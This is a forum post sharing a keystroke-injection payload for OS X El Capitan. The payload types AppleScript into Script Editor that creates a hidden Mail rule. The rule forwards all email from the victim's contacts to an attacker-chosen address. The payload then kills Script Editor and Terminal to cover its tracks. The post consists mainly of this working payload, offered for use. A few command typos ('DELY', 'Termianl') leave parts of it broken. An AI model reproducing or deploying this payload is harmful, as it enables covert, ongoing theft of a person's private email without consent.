Jump to content

OS X Applescript Mail Forward Payload


HH1
 Share

Recommended Posts

This payload has been tested on the latest version of OS X El Capitan. It Opens applescript and types in some codes that tells mail to forward all email's from people who are in the users contact to your own private email address. It then deletes the applescript code and opens terminal to quit applescript and terminal.

You might want to mess with the delay

 

DELAY 1500
GUI SPACE
DELAY 300
STRING script editor
DELAY 200
ENTER
DELAY 500
GUI n
DELAY 500
STRING tell application "Mail"
STRING    set newRule to make new rule at end of rules with properties {name:"apple mail", enabled:true, forward message:"Your email address"}
STRING    tell newRule
STRING        make new rule condition at end of rule conditions with properties {rule type:sender is in my contacts}
STRING    end tell
STRING end tell
GUI R
DELAY 600
GUI A
STRING .
GUI SPACE
DELY 300
STRING Terminal
DELAY 300
ENTER
DELAY 500
STRING killall Script\ Editor
DELAY 200
STRING killall Termianl

 

Applescript Email Forward

Edited by HH1
Just a small code error
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...